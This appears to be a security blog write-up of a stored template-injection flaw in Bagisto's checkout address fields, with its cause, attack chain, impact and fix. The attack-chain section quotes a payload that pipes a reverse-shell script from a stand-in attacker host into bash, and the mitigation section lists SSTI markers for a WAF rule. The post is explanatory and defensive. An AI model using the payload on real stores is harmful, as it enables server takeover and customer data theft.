Checkout to Shell: Unpacking the Bagisto Stored SSTI RCE

eCommerce platforms are the Fort Knox of the web world—or at least, they're supposed to be. They handle credit cards, PII, and the lifeblood of retail businesses. So, when a vulnerability pops up in a platform like Bagisto that essentially turns a shopping cart into a command terminal, security researchers sit up and take notice. This isn't your garden-variety Cross-Site Scripting (XSS) where you might steal a cookie if you're lucky. This is the big one: Remote Code Execution (RCE).

The vulnerability, tracked as CVE-2026-21448, is a classic example of trusting user input a little too much. Specifically, it resides in how the application handles the "Add Address" feature during checkout. The developers likely thought, "Who would put code in their street address?" The answer, of course, is hackers. We will always put code in the street address.

What makes this specific flaw so dangerous—and frankly, so elegant—is its "Stored" nature. The attacker doesn't need to catch the admin in a phishing campaign or brute-force a password. They simply place an order like a normal customer, burying a logic bomb in the database. Then, they wait. The moment a diligent store administrator opens the order to ship it, the server renders the address, executes the payload, and hands over the keys to the castle.

To understand this vulnerability, we have to talk about Template Engines. Bagisto is built on Laravel, a fantastic PHP framework that uses the Blade templating engine. Blade is powerful; it allows developers to mix HTML with PHP logic seamlessly. However, with great power comes the great responsibility of not passing untrusted input directly to the template compiler.

The root cause here is CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. In a secure implementation, when a user provides data (like 123 Main St), the application treats it as a string literal. It says, "Display these characters." But in the vulnerable versions of Bagisto, the admin dashboard's order view takes that address data and processes it as if it were part of the template itself.

Think of it like a teleprompter. A secure system reads the news anchor a script that says, "The user's name is Drop Table." The anchor reads it verbatim. In this vulnerable version, the teleprompter sees "The user's name is..." and then suddenly receives a command: "Stop reading and dance the Macarena." Because the system fails to distinguish between data and instructions, the server starts dancing. In technical terms, the application is likely using a function that evaluates the string context, or the variable is being passed into a render function without being escaped, allowing {{ }} syntax to trigger PHP execution.

While the exact patch diff can be complex, the vulnerability follows a very specific anti-pattern often seen in Laravel applications. The issue arises when developers try to render content dynamically. A safe implementation in a Blade file usually looks like this:

<!-- Safe: Escaped Output -->
<div>{{ $order->shipping_address->address1 }}</div>

However, for the vulnerability to trigger RCE, the code must be doing something much riskier. It is likely that the admin panel was constructing a view dynamically or using a raw output directive improperly on a string that had not been sanitized. The vulnerability flow looks like this:

The fix implemented in version 2.3.10 involves wrapping these output fields in rigorous escaping functions or refactoring the view logic to ensure that stored properties are never passed to the eval() equivalent of the template engine. They essentially changed the logic from "Run this string" to "Print this string."

Exploiting this is terrifyingly simple. An attacker doesn't need special tools, just a web browser and a basic understanding of PHP. Here is the attack chain:

1. Reconnaissance: The attacker identifies a Bagisto site. They don't even need to create an account if guest checkout is enabled.
2. The Injection: They add a product to the cart and proceed to checkout. When asked for shipping details, they fill out the standard fields, but in the First Name, Last Name, or Address Line 1 field, they inject a Blade SSTI payload.

[!NOTE] A typical payload might look like this: {{ system('curl http://attacker.com/revshell.sh | bash') }}

3. The Trap: The attacker completes the order. The system happily saves the text {{ system(...) }} into the orders table in the database.
4. The Trigger: The attacker waits. Eventually, a store employee logs into the admin panel to process orders. They click "View Order #1337."
5. Detonation: The backend fetches the address, the Blade engine parses the double curly braces, executes the system() command, and suddenly the web server is connecting back to the attacker's listener.

Because the execution happens in the context of the admin panel session (which is server-side), the attacker gains the privileges of the web server user (usually www-data), allowing them to read configuration files (.env), dump the database, or pivot deeper into the infrastructure.

The impact of CVE-2026-21448 cannot be overstated. We are looking at a CVSS score of roughly 9.3 for a reason. This is not just about defacing a website; it's about total business compromise.

Data Exfiltration: The attacker can immediately dump the entire SQL database. This includes every customer's name, address, email, and potentially hashed passwords. If the server handles payment tokens poorly, those are gone too.

Lateral Movement: From the web server, the attacker can probe the internal network. Is the database server on a private IP? Is there an internal Redis instance? The web server is the beachhead.

Supply Chain Poisoning: Perhaps the most insidious risk is that the attacker modifies the source code of the store itself. They could inject a JavaScript skimmer (Magecart style) that silently captures credit card numbers from future customers for months before being detected. The admin thinks they are just shipping a t-shirt, but they've actually just installed a digital wiretap.

If you are running Bagisto, stop what you are doing. Do not pass Go. Do not collect $200. Upgrade to version 2.3.10 immediately. The vendor has patched the specific views rendering the address data to ensure proper escaping.

If you cannot upgrade immediately (and you really should), you need to implement a Web Application Firewall (WAF) rule immediately. You want to block POST requests containing common SSTI indicators like {{, }}, {!!, and !!}. However, be warned: WAFs are band-aids, not cures. Clever obfuscation can often bypass regex filters.

For developers reading this: this is a harsh lesson in the difference between echo and eval. Never, ever pass user-controlled data into a function that compiles code or templates. Always treat user input as radioactive waste until it has been thoroughly sanitized and escaped.